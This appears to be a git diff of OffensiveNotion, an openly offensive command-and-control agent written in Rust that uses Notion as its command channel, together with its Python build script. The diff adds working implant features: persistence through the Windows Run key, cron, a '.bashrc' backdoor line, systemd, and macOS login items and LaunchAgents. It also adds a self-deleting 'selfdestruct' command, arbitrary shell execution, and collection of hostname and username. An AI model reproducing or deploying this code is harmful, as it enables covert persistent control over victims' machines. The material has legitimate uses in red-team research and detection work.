+ let command_args = CommandArgs::from_split(command_words); + let command_type: CommandType = match t { - "cd" => CommandType::Cd(command_string), - "download" => CommandType::Download(command_string), - "elevate" => CommandType::Elevate(command_string), + "cd" => CommandType::Cd, + "download" => CommandType::Download, + "elevate" => CommandType::Elevate, "getprivs" => CommandType::Getprivs, - "inject" => CommandType::Inject(command_string), - "persist" => CommandType::Persist(command_string), - "portscan" => CommandType::Portscan(command_string), + "inject" => CommandType::Inject, + "persist" => CommandType::Persist, + "portscan" => CommandType::Portscan, "ps" => CommandType::Ps, "pwd" => CommandType::Pwd, - "runas" => CommandType::Runas(command_string), - "save" => CommandType::Save(command_string), - "shell" => CommandType::Shell(command_string), + "runas" => CommandType::Runas, + "save" => CommandType::Save, + "selfdestruct" => CommandType::Selfdestruct, + "shell" => CommandType::Shell, "shutdown" => CommandType::Shutdown, - "sleep" => CommandType::Sleep(command_string), + "sleep" => CommandType::Sleep, "whoami" => CommandType::Whoami, - _ => CommandType::Unknown(command_string), + _ => CommandType::Unknown, }; - return Ok(NotionCommand { command_type: command_type}); + return Ok(NotionCommand { command_type: command_type, args: command_args}); } else { Err(CommandError("Could not parse command!".to_string())) } } /// Executes the appropriate function for the `command_type`. - pub async fn handle(&self, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { + pub async fn handle(&mut self, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { match &self.command_type { - CommandType::Cd(s) => cd::handle(&s), - CommandType::Download(s) => download::handle(&s, logger).await, - CommandType::Elevate(s) => elevate::handle(&s, config_options).await, + CommandType::Cd => cd::handle(&mut self.args), + CommandType::Download => download::handle( &mut self.args, logger).await, + CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, CommandType::Getprivs => getprivs::handle().await, - CommandType::Inject(s) => inject::handle(&s, logger).await, - CommandType::Persist(s) => persist::handle(&s, config_options, logger).await, - CommandType::Portscan(s) => portscan::handle(&s, logger).await, + CommandType::Inject => inject::handle(&mut self.args, logger).await, + CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await, + CommandType::Portscan => portscan::handle(&mut self.args, logger).await, CommandType::Ps => ps::handle().await, CommandType::Pwd => pwd::handle().await, - CommandType::Runas(s) => runas::handle(&s).await, - CommandType::Save(s) => save::handle(&s, config_options).await, - CommandType::Shell(s) => shell::handle(&s).await, + CommandType::Runas => runas::handle(&self.args).await, + CommandType::Save => save::handle(&mut self.args, config_options).await, + CommandType::Selfdestruct => selfdestruct::handle().await, + CommandType::Shell => shell::handle(&mut self.args).await, CommandType::Shutdown => shutdown::handle().await, - CommandType::Sleep(s) => sleep::handle(&s, config_options).await, + CommandType::Sleep => sleep::handle(&mut self.args, config_options).await, CommandType::Whoami => whoami::handle().await, - CommandType::Unknown(_) => unknown::handle().await + CommandType::Unknown => unknown::handle().await, } } } \ No newline at end of file diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 61ae323..53b5c41 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -1,7 +1,7 @@ use std::error::Error; use std::env::{var, args}; use is_root::is_root; -use crate::cmd::{shell, save}; +use crate::cmd::{CommandArgs, shell, save, notion_out}; #[cfg(not(windows))] use std::fs::{create_dir, copy, write}; #[cfg(windows)] use std::path::Path; #[cfg(windows)] use winreg::{RegKey}; @@ -10,7 +10,7 @@ use crate::cmd::{shell, save}; #[cfg(windows)] use std::process::Command; #[cfg(windows)] use crate::cmd::getprivs::is_elevated; use crate::config::ConfigOptions; -use crate::logger::Logger; +use crate::logger::{Logger, log_out}; /// Uses the specified method to establish persistence. @@ -26,10 +26,10 @@ use crate::logger::Logger; /// /// * `cron`: Writes a cronjob to the user's crontab and saves the agent in the home folder /// * `systemd`: Creates a systemd service and writes the binary someplace special -pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { // `persist [method] [args]` #[cfg(windows)] { - match s.trim() { + match cmd_args.nth(0).unwrap().as_str() { "startup" => { // Get user if let Ok(v) = var("APPDATA") { @@ -42,7 +42,7 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Log Err(e) => { return Ok(e.to_string())} } } else { - return Ok("Couldn't get APPDATA location".to_string()); + return notion_out!("Couldn't get APPDATA location"); }; }, "registry" => { @@ -50,20 +50,20 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Log let mut persist_path: String = v; persist_path.push_str(r"\notion.exe"); let exe_path = args().nth(0).unwrap(); - logger.debug(format!("Current exec path: {exe_path}")); + logger.debug(log_out!("Current exec path: {exe_path}")); // let mut out_file = File::create(path).expect("Failed to create file"); fs_copy(&exe_path, &persist_path)?; let hkcu = RegKey::predef(HKEY_CURRENT_USER); let path = Path::new(r"Software\Microsoft\Windows\CurrentVersion\Run"); let (key, disp) = hkcu.create_subkey(&path)?; match disp { - REG_CREATED_NEW_KEY => logger.info("A new key has been created".to_string()), - REG_OPENED_EXISTING_KEY => logger.info("An existing key has been opened".to_string()), + REG_CREATED_NEW_KEY => logger.info(log_out!("A new key has been created")), + REG_OPENED_EXISTING_KEY => logger.info(log_out!("An existing key has been opened")), }; key.set_value("Notion", &persist_path)?; - Ok("Persistence accomplished".to_string()) + notion_out!("Persistence accomplished") } else { - Ok("LOCALDATA undefined".to_string()) + notion_out!("LOCALDATA undefined") } }, "wmic" => { @@ -112,11 +112,11 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Log } } else { - return Ok("Could not locate APPDATA.".to_string()); + return notion_out!("Could not locate APPDATA."); } } else{ - return Ok("[-] WMIC persistence requires admin privileges.".to_string()); + return notion_out!("[-] WMIC persistence requires admin privileges."); } }, "schtasks" => { @@ -127,7 +127,8 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Log if elevated { if let Ok(v) = var("LOCALAPPDATA") { let cfg_path = format!("{v}\\cfg.json"); - save::handle(&cfg_path, config_options).await?; + let mut cfg_path_args = CommandArgs::from_string(cfg_path.to_owned()); + save::handle(&mut cfg_path_args, config_options).await?; let mut persist_path: String = v; persist_path.push_str(r"\notion.exe"); @@ -162,71 +163,78 @@ pub async fn handle(s: &String, config_options: &mut ConfigOptions, logger: &Log } } else { - return Ok("Could not locate APPDATA.".to_string()); + return notion_out!("Could not locate APPDATA."); } } else{ - return Ok("[-] Scheduled task persistence requires admin privileges.".to_string()); + return notion_out!("[-] Scheduled task persistence requires admin privileges."); } }, - _ => Ok("That's not a persistence method!".to_string()) + _ => notion_out!("That's not a persistence method!") } } - #[cfg(not(windows))] { + #[cfg(target_os = "linux")] { let app_path = args().nth(0).unwrap(); let home = var("HOME")?; let app_dir = format!("{home}/.notion"); let dest_path = format!("{app_dir}/notion"); - match s.trim() { + match cmd_args.nth(0).unwrap_or_default().as_str() { "cron" => { // Copy the app to a new folder match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, + Ok(_) => { logger.info(log_out!("Notion directory created")); }, Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, dest_path) { // Save config for relaunch - save::handle(&format!("{app_dir}/cfg.json"), config_options).await?; + let mut save_args = CommandArgs::from_string(format!("{app_dir}/cfg.json")); + save::handle(&mut save_args, config_options).await?; // Write a cronjob to the user's crontab with the given minutes as an interval. let cron_string = format!("0 * * * * {app_dir}/notion"); - if let Ok(_) = shell::handle(&format!("(crontab -l 2>/dev/null; echo '{cron_string}') | crontab - ")).await { - Ok("Cronjob added!".to_string()) + let mut cron_args = CommandArgs::from_string( + format!("(crontab -l 2>/dev/null; echo '{cron_string}') | crontab - ") + ); + if let Ok(_) = shell::handle(&mut cron_args).await { + notion_out!("Cronjob added!") } else { - Ok("Could not make cronjob".to_string()) + notion_out!("Could not make cronjob") } } else { - Ok("Could not copy app to destination".to_string()) + notion_out!("Could not copy app to destination") } } "bashrc" => { // Copy the app to a new folder match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, + Ok(_) => { logger.info(log_out!("Notion directory created")); }, Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, dest_path) { // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. - if let Ok(_) = shell::handle(&format!("echo '{app_dir}/notion -b {b64_config} & disown' >> ~/.bashrc ")).await { - Ok("Bash Backdoored!".to_string()) + let mut bashrc_args = CommandArgs::new( + vec![format!("echo '{app_dir}/notion -b {b64_config} & disown' >> ~/.bashrc ")] + ); + if let Ok(_) = shell::handle(&mut bashrc_args).await { + notion_out!("Bash Backdoored!") } else { - Ok("Could not modify bashrc".to_string()) + notion_out!("Could not modify bashrc") } } else { - Ok("Could not copy app to destination".to_string()) + notion_out!("Could not copy app to destination") } }, "service" => { if is_root() { match create_dir(&app_dir) { - Ok(_) => { logger.info("Notion directory created".to_string()); }, + Ok(_) => { logger.info(format!("Notion directory created")); }, Err(e) => { logger.err(e.to_string()); } }; if let Ok(_) = copy(&app_path, &dest_path) { @@ -249,15 +257,98 @@ ExecStart={dest_path} -b {b64_config} WantedBy=multi-user.target" ); write(svc_path, svc_string)?; - return shell::handle(&"systemctl enable notion.service".to_string()).await; + let mut systemd_args = CommandArgs::from_string( + "systemctl enable notion.service".to_string() + ); + return shell::handle(&mut systemd_args).await; } else { - return Ok("Could not copy service file".to_string()); + return notion_out!("Could not copy service file"); } } else { - return Ok("Need to be root first. Try elevate.".to_string()); + return notion_out!("Need to be root first. Try elevate."); } }, - _ => Ok("Unknown persistence method!".to_string()) + _ => notion_out!("Unknown persistence method!") } } + + #[cfg(target_os = "macos")] { + let app_path = args().nth(0).unwrap(); + let home = var("HOME")?; + let app_dir = format!("{home}/.notion"); + let dest_path = format!("{app_dir}/notion"); + + match cmd_args.nth(0).unwrap_or_default().as_str() { + "loginitem" => { + // Copy the app to a new folder + match create_dir(&app_dir) { + Ok(_) => { logger.info(log_out!("Notion directory created")); }, + Err(e) => { logger.err(e.to_string()); } + }; + if let Ok(_) = copy(&app_path, &dest_path) { + // Save config for relaunch + let b64_config = config_options.to_base64(); + // Write a line to the user's bashrc that starts the agent. + let osascript_string = format!(r#"osascript -e 'tell application "System Events" to make login item at end with properties {{path:"{dest_path}", hidden:true}}'"#); + logger.debug(osascript_string.to_owned()); + let mut applescript_args = CommandArgs::new( + vec![osascript_string] + ); + if let Ok(_) = shell::handle(&mut applescript_args).await { + notion_out!("Login item created!") + } else { + notion_out!("Could not create login item") + } + } else { + notion_out!("Could not copy app to destination") + } + + }, + "launchagent" => { + + match create_dir(&app_dir) { + Ok(_) => { logger.info(log_out!("Notion directory created")); }, + Err(e) => { logger.err(e.to_string()); } + }; + if let Ok(_) = copy(&app_path, &dest_path) { + let b64_config = config_options.to_base64(); + let launch_agent_dir: String; + if is_root() { + launch_agent_dir = "/Library/LaunchAgents".to_string(); + } else { + launch_agent_dir = format!("{home}/Library/LaunchAgents"); + } + let launch_agent_string = format!( +r#" + + + +Label +com.notion.offnote +ProgramArguments + +{dest_path} + +RunAtLoad + + +"#); + // Make the user LaunchAgents dir if it doesn't exist + + if !std::path::Path::new(&launch_agent_dir).is_dir() { + create_dir(&launch_agent_dir)?; + } + write( + format!("{launch_agent_dir}/com.notion.offnote.plist").as_str(), + &launch_agent_string + )?; + Ok(format!("LaunchAgent written to {launch_agent_dir}")) + } else { + return notion_out!("Could not copy app to destination"); + } + }, + _ => notion_out!("Unknown persistence method!") + } + + } } \ No newline at end of file diff --git a/agent/src/cmd/portscan.rs b/agent/src/cmd/portscan.rs index a321edb..86aa7dd 100755 --- a/agent/src/cmd/portscan.rs +++ b/agent/src/cmd/portscan.rs @@ -6,7 +6,8 @@ use std::{ use cidr_utils::cidr::IpCidr; use tokio::net::TcpStream; use tokio::sync::mpsc::channel; -use crate::logger::Logger; +use crate::logger::{Logger}; +use crate::cmd::{CommandArgs, notion_out}; /// Common ports to scan. @@ -32,12 +33,12 @@ async fn eval_target(target: String) -> ScanTarget { // CIDR if IpCidr::is_ip_cidr(&target) { - println!("[*] Looks like a CIDR range."); + //println!("[*] Looks like a CIDR range."); ScanTarget::Cidr(IpCidr::from_str(target.as_str()).unwrap()) // IP } else if let Ok(ip) = IpAddr::from_str(target.as_str()) { - println!("[*] Looks like an IP address."); + //println!("[*] Looks like an IP address."); ScanTarget::Address(ip) // Hostname? Maybe someday @@ -120,9 +121,9 @@ fn get_ports(full: bool) -> Vec { /// ```bash /// portscan 102.168.35.5. false 10 10 🎯 /// ``` -pub async fn handle(s: &String, logger: &Logger) -> Result> { - let args: Vec<&str> = s.split(" ").collect(); - logger.debug(format!("Portscan args: {:?}", s)); +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { + logger.debug(format!("Portscan args: {:?}", cmd_args)); + let args: Vec = cmd_args.collect(); if args.len() <= 4 { Ok(format!("[-] Improper args. @@ -139,7 +140,7 @@ pub async fn handle(s: &String, logger: &Logger) -> Result().unwrap_or_else(|_| 1000); diff --git a/agent/src/cmd/pwd.rs b/agent/src/cmd/pwd.rs index f94e577..dfa9bfc 100755 --- a/agent/src/cmd/pwd.rs +++ b/agent/src/cmd/pwd.rs @@ -5,6 +5,6 @@ use std::env::current_dir; pub async fn handle() -> Result> { match current_dir() { Ok(b) => Ok(String::from(b.to_str().unwrap())), - Err(e) => Ok(format!("{e}").to_string()) + Err(e) => Ok(e.to_string()) } } \ No newline at end of file diff --git a/agent/src/cmd/runas.rs b/agent/src/cmd/runas.rs index 8ed9e93..3f4cd57 100755 --- a/agent/src/cmd/runas.rs +++ b/agent/src/cmd/runas.rs @@ -1,14 +1,15 @@ use std::error::Error; +use crate::cmd::{CommandArgs, notion_out}; /// Runs given command as another user. Requires admin privs. /// /// Usage: `runas [user] [command]` -pub async fn handle(s: &String) -> Result> { +pub async fn handle(_cmd_args: &CommandArgs) -> Result> { // TODO: Implement #[cfg(windows)] { - return Ok(String::from("Under Construction!")) + return notion_out!("Under Construction!"); } #[cfg(not(windows))] { - return Ok(String::from("Runas only works on Windows!")) + return notion_out!("Runas only works on Windows!"); } } \ No newline at end of file diff --git a/agent/src/cmd/save.rs b/agent/src/cmd/save.rs index f7d495e..4556dd8 100755 --- a/agent/src/cmd/save.rs +++ b/agent/src/cmd/save.rs @@ -2,18 +2,17 @@ use std::error::Error; use std::fs::write; use serde_json::to_string as json_to_string; // use relative_path::RelativePath; -use crate::cmd::ConfigOptions; +use crate::cmd::{CommandArgs, ConfigOptions, notion_out}; /// Saves the agent to the given path. /// /// Usage: `save [path]` -pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result> { - if !s.is_empty() { - config_options.config_file_path = s.trim().to_string(); - } +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions) -> Result> { + let save_path = cmd_args.nth(0).unwrap_or_else(|| config_options.config_file_path.to_owned()); + config_options.config_file_path = save_path.to_owned(); // let write_path = RelativePath::new(config_options.config_file_path.as_str()); match write(&config_options.config_file_path, json_to_string(config_options)?) { - Ok(_) => Ok(format!("Config file saved to {s}").to_string()), + Ok(_) => notion_out!("Config file saved to {save_path}"), Err(e) => Ok(format!("{e}")) } } \ No newline at end of file diff --git a/agent/src/cmd/selfdestruct.rs b/agent/src/cmd/selfdestruct.rs new file mode 100644 index 0000000..2a75a95 --- /dev/null +++ b/agent/src/cmd/selfdestruct.rs @@ -0,0 +1,39 @@ +use std::error::Error; +use std::env::args; +use std::fs::remove_file; +#[cfg(windows)] use houdini; +#[cfg(windows)] use rand::{thread_rng, Rng}; +#[cfg(windows)] use rand::distributions::Alphanumeric; +use crate::cmd::notion_out; + + +pub async fn handle() -> Result> { + /// Performs some OPSEC cleanups, deletes itself from disk, and kills the agent. + /// Burn after reading style. + /// For Windows, makes use of Yamakadi's fantastic houdini crate, based on jonaslyk's self-deleting binary research and byt3bl33d3r's Nim POC + /// For Nix, just deletes arg[0] lol. + /// Usage: selfdestruct 🎯 + + // TODO: Overwrite proc memory with junk + + // Delete bin on disk + + #[cfg(windows)] { + let rand_string: String = thread_rng() + .sample_iter(&Alphanumeric) + .take(12) + .map(char::from) + .collect(); + + houdini::disappear_with_placeholder(rand_string); + } + + #[cfg(not(windows))] { + let running_agent: String = args().nth(0).unwrap(); + remove_file(running_agent)?; + } + + // Shutdown agent + // In main.rs, shutdown::handle exits the current running process + notion_out!("[!] This agent will now self-destruct!\n[!] 3...2...1...πŸ’£πŸ’₯!") +} \ No newline at end of file diff --git a/agent/src/cmd/shell.rs b/agent/src/cmd/shell.rs index 60eb5ac..71956f4 100755 --- a/agent/src/cmd/shell.rs +++ b/agent/src/cmd/shell.rs @@ -1,5 +1,6 @@ use std::process::Command; use std::error::Error; +use crate::cmd::CommandArgs; /// Executes the given shell command. /// @@ -8,25 +9,38 @@ use std::error::Error; /// On Linux, calls out to `/bin/bash`. /// /// Usage: `shell [command]` -pub async fn handle(s: &String) -> Result> { - let output = if cfg!(target_os = "windows") { - Command::new("cmd") +pub async fn handle(cmd_args: &mut CommandArgs) -> Result> { + + let output: std::process::Output; + #[cfg(windows)] { + output = Command::new("cmd") .arg("/c") - .arg(s) + .arg(cmd_args.to_string()) .output() - .expect("failed to execute process") - } else { - Command::new("/bin/bash") + .expect("failed to execute process"); + } + + #[cfg(target_os = "linux")] { + output = Command::new("/bin/bash") + .arg("-c") + .arg(cmd_args.to_string()) + .output() + .expect("failed to execute process"); + } + + #[cfg(target_os = "macos")] { + output = Command::new("/bin/zsh") .arg("-c") - .arg(s) + .arg(cmd_args.to_string()) .output() - .expect("failed to execute process") - }; + .expect("failed to execute process"); + } + let output_string: String; if output.stderr.len() > 0 { output_string = String::from_utf8(output.stderr).unwrap(); } else { output_string = String::from_utf8(output.stdout).unwrap(); } - return Ok(output_string); + Ok(output_string) } \ No newline at end of file diff --git a/agent/src/cmd/shutdown.rs b/agent/src/cmd/shutdown.rs index 67d386e..c3e0768 100755 --- a/agent/src/cmd/shutdown.rs +++ b/agent/src/cmd/shutdown.rs @@ -1,6 +1,7 @@ use std::error::Error; +use crate::cmd::notion_out; /// Kills the agent. pub async fn handle() -> Result> { - Ok("Shutting down".to_string()) + notion_out!("Shutting down") } \ No newline at end of file diff --git a/agent/src/cmd/sleep.rs b/agent/src/cmd/sleep.rs index 247538f..7af87a6 100755 --- a/agent/src/cmd/sleep.rs +++ b/agent/src/cmd/sleep.rs @@ -1,22 +1,21 @@ use std::error::Error; -use crate::cmd::ConfigOptions; +use crate::cmd::{CommandArgs, ConfigOptions, notion_out}; /// Modifies the sleep and jitter times /// /// Usage: `sleep [SLEEP_TIME] [JITTER_TIME]` -pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result> { - let mut args = s.split(" "); - let sleep_interval: u64 = args +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions) -> Result> { + let sleep_interval: u64 = cmd_args .nth(0) .unwrap() .parse() .unwrap_or_else(|_| config_options.sleep_interval); - let jitter_time: u64 = args + let jitter_time: u64 = cmd_args .nth(0) .unwrap() .parse() .unwrap_or_else(|_| config_options.jitter_time); config_options.sleep_interval = sleep_interval; config_options.jitter_time = jitter_time; - Ok(format!("[+] Sleep time: {sleep_interval}, Jitter time: {jitter_time}")) + notion_out!("[+] Sleep time: {sleep_interval}, Jitter time: {jitter_time}") } \ No newline at end of file diff --git a/agent/src/cmd/unknown.rs b/agent/src/cmd/unknown.rs index 04e19a1..47c99d2 100755 --- a/agent/src/cmd/unknown.rs +++ b/agent/src/cmd/unknown.rs @@ -1,6 +1,7 @@ use std::error::Error; +use crate::cmd::notion_out; /// Handles any weirdo commands that can't be interpreted. pub async fn handle() -> Result> { - Ok("[-] Unknown command type".to_string()) + notion_out!("[-] Unknown command type") } \ No newline at end of file diff --git a/agent/src/logger.rs b/agent/src/logger.rs index f3f87c4..ff3bd05 100644 --- a/agent/src/logger.rs +++ b/agent/src/logger.rs @@ -69,4 +69,12 @@ impl Logger { } } -} \ No newline at end of file +} + +macro_rules! log_out { + ($s:literal) => { + format!($s) + }; + +} +pub(crate) use log_out; \ No newline at end of file diff --git a/agent/src/main.rs b/agent/src/main.rs index 6c2cdf5..075a69d 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -5,6 +5,7 @@ extern crate serde_json; extern crate whoami; extern crate base64; + use std::{thread, time}; use std::env::args; use std::process::exit; @@ -93,6 +94,9 @@ async fn main() -> Result<(), Box> { let mut hn = hostname(); + let username = whoami::username(); + hn.push_str(" | "); + hn.push_str(&username); let is_admin = cmd::getprivs::is_elevated(); logger.info(format!("Admin context: {}", is_admin)); if is_admin { @@ -135,7 +139,7 @@ async fn main() -> Result<(), Box> { Some(s) => { if s.contains("🎯") { logger.info(format!("Got command: {s}")); - let notion_command = NotionCommand::from_string(s.replace("🎯",""))?; + let mut notion_command = NotionCommand::from_string(s.replace("🎯",""))?; let output = notion_command.handle(&mut config_options, &logger).await?; let command_block_id = block["id"].as_str().unwrap(); complete_command(&client, block.to_owned(), &logger).await; @@ -144,6 +148,7 @@ async fn main() -> Result<(), Box> { // Like shutting down the agent match notion_command.command_type { CommandType::Shutdown => {exit(0);}, + CommandType::Selfdestruct => {exit(0)}, _ => {} } }; diff --git a/bin/.gitkeep b/bin/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/bin/linux_debug/.gitkeep b/bin/linux_debug/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/bin/linux_release/.gitkeep b/bin/linux_release/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/bin/windows_debug/.gitkeep b/bin/windows_debug/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/bin/windows_release/.gitkeep b/bin/windows_release/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/main.py b/main.py index 8e7ee7d..a47c9de 100755 --- a/main.py +++ b/main.py @@ -1,11 +1,8 @@ #!/usr/bin/env python3 import os import argparse - import subprocess as sub -from shutil import copyfile -from shutil import move - +from shutil import copyfile, move, rmtree import utils from utils.colors import * from utils.inputs import * @@ -19,7 +16,10 @@ parser = argparse.ArgumentParser(description='OffensiveNotion Setup. Must be run as root. Generates the ' 'OffensiveNotion agent in a container.') -parser.add_argument('-o', '--os', choices=['linux', 'windows'], help='Target OS') +parser.add_argument('-o', '--os', choices=['linux', + 'windows', + 'macos' + ],help='Target OS') parser.add_argument('-b', '--build', choices=['debug', 'release'], help='Binary build') parser.add_argument('-c', '--c2lint', default=False, action="store_true", help="C2 linter. Checks your C2 config " "by creating a test page on your " @@ -41,41 +41,29 @@ agent_dir = curr_dir + "/agent" dockerfile = curr_dir + "/Dockerfile" - -# Are you root? -def is_root(): +def print_logo(): + logo = Fore.CYAN + """ + ____ __ __ _ _ _ _ _ + / __ \ / _|/ _| (_) | \ | | | | (_) + | | | | |_| |_ ___ _ __ ___ ___ _____| \| | ___ | |_ _ ___ _ __ + | | | | _| _/ _ \ '_ \/ __| \ \ / / _ \ . ` |/ _ \| __| |/ _ \| '_ \ + | |__| | | | || __/ | | \__ \ |\ V / __/ |\ | (_) | |_| | (_) | | | | + \____/|_| |_| \___|_| |_|___/_| \_/ \___|_| \_|\___/ \__|_|\___/|_| |_| """ - Checks if the user is running the script with root privs. Exits if this is not the case. Root privs are needed to - set up the Docker container used for compiling the agent. - """ - if os.geteuid() == 0: - return - else: - print(important + "You need to run this script as root!") - parser.print_help() - exit() + centered = int((len(logo)/6)/2) + pad = "-" + catchphrase = ["But, Why?", "Because reasons!", "I find the very notion offensive.", "KEKW", "The absolute madlads", "NEW. TECH."] + tag = random.choice(catchphrase) + creators = "mttaggart | HuskyHacks" + len_tag = len(tag) + padding = (pad * (centered - int((len_tag)/2)-1)) + space = " " + spaces = (space * (centered - int((len(creators))/2))) -# Is docker installed? -def check_docker(): - """ - Checks if Docker is installed, exits if it is not. - """ - print(info + "Checking Docker...") - try: - p = sub.Popen(['docker --version'], shell=True, stdin=sub.PIPE, stdout=sub.PIPE, stderr=sub.PIPE) - out, err = p.communicate() - if p.returncode == 0: - print(good + "Docker is installed!") - elif p.returncode > 0: - print( - important + "Docker is not installed. Make sure to install Docker first (on Kali/Ubuntu, run: sudo apt-get " - "install docker.io -y)") - exit(1) - except Exception as e: - print(str(e)) - exit(1) - + print(logo) + print(padding + tag + padding) + print(spaces + creators + "\n" + Fore.RESET) # Is there a config file? def does_config_exist() -> bool: @@ -98,17 +86,17 @@ def take_in_vars(): """ # Sleep sleep_interval = ask_for_input( - important + "Enter the number of seconds for the agent's sleep interval [default is 30][format: #]", 30) + important + "Enter the number of seconds for the agent's sleep interval [default is 30][format: #]", "30") print(good + "Sleep interval: {}".format(sleep_interval)) # Jitter Time jitter_time = ask_for_input( - important + "Enter the number of seconds for the agent's jitter range [default is 10][format: #]", 10) - print(good + "Jitter range: {}".format(sleep_interval)) + important + "Enter the number of seconds for the agent's jitter range [default is 10][format: #]", "10") + print(good + "Jitter range: {}".format(jitter_time)) # Log Level log_level = ask_for_input( - important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", 2) + important + "Enter the logging level for the agent (0-5) [default is 2][format: #]", "2") # API Key - api_key = getpass.getpass(important + "Enter your Notion Developer Account API key > ") + api_key = getpass.getpass(important + "Enter your Notion Developer Account API key [will be concealed from terminal]> ") print(good + "Got your API key!") # Parent Page ID print( @@ -172,91 +160,12 @@ def sed_source_code(): utils.file_utils.sed_inplace(source_file, "<<{}>>".format(k), v) -def copy_dockerfile(): - print(info + "Creating Dockerfile...") - src = dockerfile - dst = "Dockerfile.bak" - copyfile(src, dst) - - -def sed_dockerfile(): - print(info + "Setting dockerfile variables...") - if args.os == "windows": - utils.file_utils.sed_inplace(dockerfile, "{OS}", "--target x86_64-pc-windows-gnu") - else: - utils.file_utils.sed_inplace(dockerfile, "{OS}", "") - if args.build == "release": - utils.file_utils.sed_inplace(dockerfile, "{RELEASE}", "--release") - else: - utils.file_utils.sed_inplace(dockerfile, "{RELEASE}", "") - - -# Start Docker container, Dockerfile handles compilation -def docker_build(): - try: - print(info + "Creating temporary build environment container...") - sub.call(['docker rm offensivenotion -f 1>/dev/null 2>/dev/null && docker build -t offensivenotion .'], - shell=True) - except Exception as e: - print(printError + str(e)) - exit(1) - - -def docker_run(): - try: - print(info + "Starting build container...") - sub.call(['docker run --name offensivenotion -dt offensivenotion 1>/dev/null'], shell=True) - except Exception as e: - print(printError + str(e)) - exit(1) - - -# Copy agent out to physical system -def docker_copy(): - print(info + "Copying payload binary to host...") - - # All possible outcomes are: - # Linux DEBUG: bin/target/debug/offensive_notion - # Linux RELEASE: bin/target/release/offensive_notion - # Windows DEBUG = bin/target/x86_64-pc-windows-gnu/debug/offensive_notion.exe - # Windows RELEASE bin/target/x86_64-pc-windows-gnu/release/offensive_notion.exe - - # HuskyHacksTogetherAPythonScript strikes again - if args.os == "windows": - agent_path = "x86_64-pc-windows-gnu" - bin_dir_folder = "windows_" + args.build - elif args.os == "linux": - agent_path = args.build - bin_dir_folder = "linux_" + args.build - else: - agent_path = "" - bin_dir_folder = "linux_debug" - - try: - already_there = os.path.isdir("bin/{}/{}".format(bin_dir_folder, agent_path)) - if already_there: - print(info + "Agents detected. Removing and copying new ones...") - shutil.rmtree("bin/{}/{}".format(bin_dir_folder, agent_path), ignore_errors=True) - sub.call(['docker cp offensivenotion:/opt/OffensiveNotion/target/{} bin/{} 1>/dev/null'.format(agent_path, - bin_dir_folder)], - shell=True) - exists = os.path.isdir("bin/{}/{}".format(bin_dir_folder, agent_path)) - if exists: - print(good + "Success! Agent is located at bin/{} on this host.".format(bin_dir_folder)) - return True - except Exception as e: - print(printError + str(e)) - exit(1) - - -# Tear down docker container -def docker_kill(): - print(info + "Removing temporary container...") - try: - sub.call(['docker rm offensivenotion -f 1>/dev/null'], shell=True) - except Exception as e: - print(printError + str(e)) - exit(1) +def set_env_vars(): + print(info+ "Setting env vars...") + f = open("config.json") + data = json.load(f) + for k, v in data.items(): + os.environ["{}".format(k)] = "{}".format(v) def recover_config_source(): @@ -272,13 +181,6 @@ def recover_config_source(): print(printError + str(e)) -def recover_dockerfile(): - print(info + "Recovering original Dockerfile...") - orig = dockerfile + ".bak" - new = "Dockerfile" - move(orig, new) - - def c2_lint(json_string): print(info + "Checking your C2 configs...") c2_check = utils.c2_linter.create_page(json_string["API_KEY"], json_string["PARENT_PAGE_ID"]) @@ -293,8 +195,7 @@ def run_web_delivery(): def main(): - is_root() - check_docker() + print_logo() # Config file checks configs = does_config_exist() @@ -310,7 +211,6 @@ def main(): looks_good = are_configs_good() while not looks_good: - # This could definitely use some work, seems sloppy json_vars = take_in_vars() write_config(json_vars) json_vars = read_config() @@ -321,28 +221,53 @@ def main(): try: try: - copy_source_file() + shutil.copyfile("config.json", "/out/config.json") + set_env_vars() + # copy_source_file() sed_source_code() except Exception as e: print(printError + str(e)) - try: - copy_dockerfile() - sed_dockerfile() - except Exception as e: - print(printError + str(e)) + os.chdir("agent") + # Run cargo. The unstable options allows --out-dir, meaning the user + # Can mount a folder they select as the destination for the compiled result + # Parameterizing the cargo build command - try: - docker_build() - docker_run() - docker_copy() - #docker_kill() - except Exception as e: - print(printError + str(e)) + if args.os == "windows": + os_arg = "--target x86_64-pc-windows-gnu" + elif args.os == "macos": + os_arg = "--target x86_64-apple-darwin" + else: + os_arg = "" + if args.build == "release": + build_arg = "--release" + else: + build_arg = "" + + # The subprocess needs the env var, so we'll set it, along with the + # rest of the env here + new_env = os.environ.copy() + + # Set extra env vars for macOS build + if args.os == "macos": + print(info + "Building for macOS; setting env vars") + new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] + 